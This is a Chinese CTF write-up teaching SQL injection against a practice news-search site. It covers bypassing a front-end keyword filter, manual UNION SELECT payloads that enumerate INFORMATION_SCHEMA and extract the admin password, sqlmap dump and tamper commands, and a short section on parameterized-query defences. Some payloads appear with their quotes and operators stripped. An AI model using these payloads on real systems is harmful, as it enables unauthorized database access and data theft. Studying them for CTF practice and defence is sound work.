1. 从零理解SQL注入攻击SQL注入是Web安全领域最常见的漏洞之一简单来说就是攻击者通过构造特殊的输入让后端数据库执行非预期的SQL命令。想象一下你家的门锁原本需要用钥匙才能打开但有人发现只要对着锁眼唱特定旋律的歌曲门就会自动打开——这就是SQL注入的简单类比。在CTF比赛中SQL注入类题目通常会模拟真实场景中的漏洞。比如这次遇到的案例一个新闻搜索页面表面上只能搜索特定关键词实际上暗藏玄机。我第一次测试时发现只有输入内容这个词才有返回结果其他关键词都被过滤了。这种反常现象往往就是漏洞的信号灯。2. 突破前端防御的关键技巧2.1 识别前端过滤机制当我尝试输入单引号测试时页面没有任何反应。通过浏览器开发者工具检查发现了一段关键的JavaScript代码function filterInput(input) { const blacklist [, \, , or, and, union]; let filtered input; blacklist.forEach(char { filtered filtered.replace(new RegExp(char, gi), ); }); return filtered; }这段代码把所有SQL注入常用的特殊字符和关键词都过滤掉了。但这里有个重要认知前端验证永远不可靠。就像你把贵重物品放在透明保险箱里虽然别人能看到里面有什么但并不能阻止他们打碎玻璃。2.2 三种绕过前端限制的方法禁用浏览器JavaScriptChrome浏览器地址栏输入chrome://settings/content/javascript临时禁用JS执行刷新页面后就能绕过前端过滤使用Burp Suite拦截修改请求POST /search HTTP/1.1 Host: ctf.example.com Content-Type: application/x-www-form-urlencoded keyword内容 AND 11 --直接cURL命令测试curl -X POST http://ctf.example.com/search --data keyword内容 AND 11 --我在实际测试中发现第一种方法最简单直接特别适合CTF比赛场景。但真实环境中后两种方法更为可靠。3. 手工注入实战全流程3.1 基础注入测试禁用JS后首先测试最基本的注入语句内容 OR 11 --当页面返回了所有新闻内容时我就能确定两点存在SQL注入漏洞后端查询语句大致是SELECT * FROM news WHERE title用户输入 LIMIT 53.2 利用INFORMATION_SCHEMA探测数据库结构MySQL的INFORMATION_SCHEMA就像数据库的地图册里面记录了所有元数据。我通过以下步骤逐步获取关键信息确定字段数内容 UNION SELECT 1,2,3 --通过不断调整数字个数发现返回正常时使用了3个字段。获取数据库列表内容 UNION SELECT 1,TABLE_SCHEMA,TABLE_NAME FROM INFORMATION_SCHEMA.TABLES --查询特定表结构内容 UNION SELECT 1,COLUMN_NAME,DATA_TYPE FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAMEadmin --在实际操作中我发现有时候需要反复尝试不同的列名组合。比如在这个案例中flag实际上存储在admin表的password字段里这提醒我们不要被表面字段名迷惑。4. 自动化注入利器sqlmap实战4.1 从手工注入到自动化手工注入虽然能加深理解但效率确实不高。这时候就该sqlmap登场了。这个神器能自动完成探测、利用、数据提取全过程。但要注意直接使用sqlmap而不理解原理就是耍流氓。首先需要用Burp Suite捕获请求配置浏览器代理到Burp Suite在搜索框输入正常内容后拦截请求保存请求为search.txt4.2 sqlmap核心命令解析基于捕获的请求我常用的命令组合是sqlmap -r search.txt --batch --risk3 --level5这个命令包含几个关键点-r使用保存的请求文件--batch自动选择默认选项--risk/--level提高检测强度针对本案例的具体操作流程获取数据库列表sqlmap -r search.txt --dbs获取表结构sqlmap -r search.txt -D news --tables导出关键数据sqlmap -r search.txt -D news -T admin --dump在实际使用中我发现sqlmap的--tamper参数特别有用可以自动绕过一些简单的WAF过滤。比如sqlmap -r search.txt --tamperspace2comment5. 防御措施与实战建议5.1 开发者如何防护作为开发者防范SQL注入要做到使用参数化查询Prepared Statements实施最小权限原则多层验证前端后端定期安全审计以PHP为例正确做法是$stmt $pdo-prepare(SELECT * FROM news WHERE title ?); $stmt-execute([$userInput]);5.2 CTF选手的实用技巧经过多次比赛我总结了几个实用经验遇到搜索框先测试基本注入注意观察页面返回的细微差异善用INFORMATION_SCHEMA这个万能钥匙手工注入受阻时及时切换自动化工具记得保存常用payload到记事本有个容易忽略的点MySQL的注释符--后面必须跟空格我曾在比赛中因此浪费了半小时。另一个坑是某些CTF环境对大小写敏感UNION和union可能有不同效果。